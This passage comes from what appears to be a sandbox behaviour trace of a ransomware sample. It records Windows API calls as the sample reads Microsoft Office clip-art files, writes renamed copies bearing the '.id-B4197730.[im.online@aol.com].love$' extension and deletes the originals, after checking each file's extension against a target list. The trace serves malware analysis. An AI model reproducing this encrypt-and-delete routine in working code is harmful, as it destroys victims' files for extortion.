(lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0243.609] lstrlenW (lpString=".zip") returned 4 [0243.609] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.609] lstrlenW (lpString=".rar") returned 4 [0243.609] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.609] lstrlenW (lpString=".bz2") returned 4 [0243.609] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.609] lstrlenW (lpString=".7z") returned 3 [0243.609] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0243.609] lstrlenW (lpString=".dbf") returned 4 [0243.609] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.928] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=9322) returned 1 [0243.928] CloseHandle (hObject=0x450) returned 1 [0243.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0243.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0243.929] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0243.929] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0243.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0243.933] GetLastError () returned 0x0 [0243.933] ReadFile (in: hFile=0x450, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x246a, lpOverlapped=0x0) returned 1 [0243.936] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2470, lpOverlapped=0x0) returned 1 [0243.937] ReadFile (in: hFile=0x450, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0243.938] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xec, lpOverlapped=0x0) returned 1 [0243.938] SetEndOfFile (hFile=0x488) returned 1 [0243.938] CloseHandle (hObject=0x488) returned 1 [0243.938] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0243.938] SetEndOfFile (hFile=0x450) returned 1 [0243.944] CloseHandle (hObject=0x450) returned 1 [0243.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0243.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.946] lstrlenW (lpString=".doc") returned 4 [0243.946] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.946] lstrlenW (lpString=".docx") returned 5 [0243.946] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.946] lstrlenW (lpString=".pdf") returned 4 [0243.946] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.946] lstrlenW (lpString=".xls") returned 4 [0243.946] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.946] lstrlenW (lpString=".xlsx") returned 5 [0243.946] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.947] lstrlenW (lpString=".ppt") returned 4 [0243.947] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.947] lstrlenW (lpString=".zip") returned 4 [0243.947] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.947] lstrlenW (lpString=".rar") returned 4 [0243.947] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.947] lstrlenW (lpString=".bz2") returned 4 [0243.947] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.947] lstrlenW (lpString=".7z") returned 3 [0243.947] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.947] lstrlenW (lpString=".dbf") returned 4 [0243.947] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.947] lstrlenW (lpString=".1cd") returned 4 [0243.947] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.947] lstrlenW (lpString=".jpg") returned 4 [0243.947] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.948] lstrlenW (lpString=".doc") returned 4 [0243.948] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.948] lstrlenW (lpString=".docx") returned 5 [0243.948] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.948] lstrlenW (lpString=".pdf") returned 4 [0243.948] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.948] lstrlenW (lpString=".xls") returned 4 [0243.948] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.948] lstrlenW (lpString=".xlsx") returned 5 [0243.948] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.948] lstrlenW (lpString=".ppt") returned 4 [0243.948] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.948] lstrlenW (lpString=".zip") returned 4 [0243.948] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.948] lstrlenW (lpString=".rar") returned 4 [0243.948] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.948] lstrlenW (lpString=".bz2") returned 4 [0243.949] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.949] lstrlenW (lpString=".7z") returned 3 [0243.949] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.949] lstrlenW (lpString=".dbf") returned 4 [0243.949] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.950] lstrlenW (lpString=".1cd") returned 4 [0243.950] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0243.950] lstrlenW (lpString=".jpg") returned 4 [0243.950] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.950] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0243.950] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0243.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0243.951] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=6970) returned 1 [0243.951] CloseHandle (hObject=0x450) returned 1 [0243.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0243.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0243.952] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0243.952] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0243.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0243.953] GetLastError () returned 0x0 [0243.953] ReadFile (in: hFile=0x450, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x1b3a, lpOverlapped=0x0) returned 1 [0243.955] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x1b40, lpOverlapped=0x0) returned 1 [0243.956] ReadFile (in: hFile=0x450, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0243.957] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xec, lpOverlapped=0x0) returned 1 [0243.957] SetEndOfFile (hFile=0x488) returned 1 [0243.957] CloseHandle (hObject=0x488) returned 1 [0243.957] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0243.957] SetEndOfFile (hFile=0x450) returned 1 [0243.960] CloseHandle (hObject=0x450) returned 1 [0243.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0243.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.962] lstrlenW (lpString=".doc") returned 4 [0243.962] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.962] lstrlenW (lpString=".docx") returned 5 [0243.962] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.962] lstrlenW (lpString=".pdf") returned 4 [0243.962] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.962] lstrlenW (lpString=".xls") returned 4 [0243.962] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.962] lstrlenW (lpString=".xlsx") returned 5 [0243.962] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.962] lstrlenW (lpString=".ppt") returned 4 [0243.962] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.962] lstrlenW (lpString=".zip") returned 4 [0243.962] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.962] lstrlenW (lpString=".rar") returned 4 [0243.962] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.962] lstrlenW (lpString=".bz2") returned 4 [0243.962] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.962] lstrlenW (lpString=".7z") returned 3 [0243.962] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.963] lstrlenW (lpString=".dbf") returned 4 [0243.963] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.963] lstrlenW (lpString=".1cd") returned 4 [0243.963] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.963] lstrlenW (lpString=".jpg") returned 4 [0243.963] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.963] lstrlenW (lpString=".doc") returned 4 [0243.963] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.963] lstrlenW (lpString=".docx") returned 5 [0243.963] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.963] lstrlenW (lpString=".pdf") returned 4 [0243.963] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.963] lstrlenW (lpString=".xls") returned 4 [0243.963] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.963] lstrlenW (lpString=".xlsx") returned 5 [0243.963] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.963] lstrlenW (lpString=".ppt") returned 4 [0243.963] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.963] lstrlenW (lpString=".zip") returned 4 [0243.963] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.963] lstrlenW (lpString=".rar") returned 4 [0243.963] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.963] lstrlenW (lpString=".bz2") returned 4 [0243.963] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.964] lstrlenW (lpString=".7z") returned 3 [0243.964] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.964] lstrlenW (lpString=".dbf") returned 4 [0243.964] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.964] lstrlenW (lpString=".1cd") returned 4 [0243.964] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0243.964] lstrlenW (lpString=".jpg") returned 4 [0243.964] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.964] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0243.964] lstrlenW (lpString="EAST_01.MID") returned 11 [0243.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.654] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=6165) returned 1 [0244.654] CloseHandle (hObject=0x418) returned 1 [0244.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0244.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.658] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0244.658] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0244.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.660] GetLastError () returned 0x0 [0244.660] ReadFile (in: hFile=0x418, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x1815, lpOverlapped=0x0) returned 1 [0244.662] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x1820, lpOverlapped=0x0) returned 1 [0244.664] ReadFile (in: hFile=0x418, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0244.664] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xea, lpOverlapped=0x0) returned 1 [0244.664] SetEndOfFile (hFile=0x4c8) returned 1 [0244.664] CloseHandle (hObject=0x4c8) returned 1 [0244.664] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0244.664] SetEndOfFile (hFile=0x418) returned 1 [0244.668] CloseHandle (hObject=0x418) returned 1 [0244.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1 [0244.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.670] lstrlenW (lpString=".doc") returned 4 [0244.670] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.670] lstrlenW (lpString=".docx") returned 5 [0244.670] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.670] lstrlenW (lpString=".pdf") returned 4 [0244.670] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.670] lstrlenW (lpString=".xls") returned 4 [0244.670] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.670] lstrlenW (lpString=".xlsx") returned 5 [0244.670] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.671] lstrlenW (lpString=".ppt") returned 4 [0244.671] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.671] lstrlenW (lpString=".zip") returned 4 [0244.671] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.671] lstrlenW (lpString=".rar") returned 4 [0244.671] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.671] lstrlenW (lpString=".bz2") returned 4 [0244.671] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.671] lstrlenW (lpString=".7z") returned 3 [0244.671] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.671] lstrlenW (lpString=".dbf") returned 4 [0244.671] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.671] lstrlenW (lpString=".1cd") returned 4 [0244.671] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.671] lstrlenW (lpString=".jpg") returned 4 [0244.671] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.671] lstrlenW (lpString=".doc") returned 4 [0244.671] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.672] lstrlenW (lpString=".docx") returned 5 [0244.672] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.672] lstrlenW (lpString=".pdf") returned 4 [0244.672] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.672] lstrlenW (lpString=".xls") returned 4 [0244.672] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.672] lstrlenW (lpString=".xlsx") returned 5 [0244.672] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.672] lstrlenW (lpString=".ppt") returned 4 [0244.672] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.672] lstrlenW (lpString=".zip") returned 4 [0244.672] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.672] lstrlenW (lpString=".rar") returned 4 [0244.672] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.672] lstrlenW (lpString=".bz2") returned 4 [0244.672] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.672] lstrlenW (lpString=".7z") returned 3 [0244.672] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.672] lstrlenW (lpString=".dbf") returned 4 [0244.672] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.672] lstrlenW (lpString=".1cd") returned 4 [0244.672] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0244.672] lstrlenW (lpString=".jpg") returned 4 [0244.672] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.673] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0244.673] lstrlenW (lpString="GRID_01.MID") returned 11 [0244.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 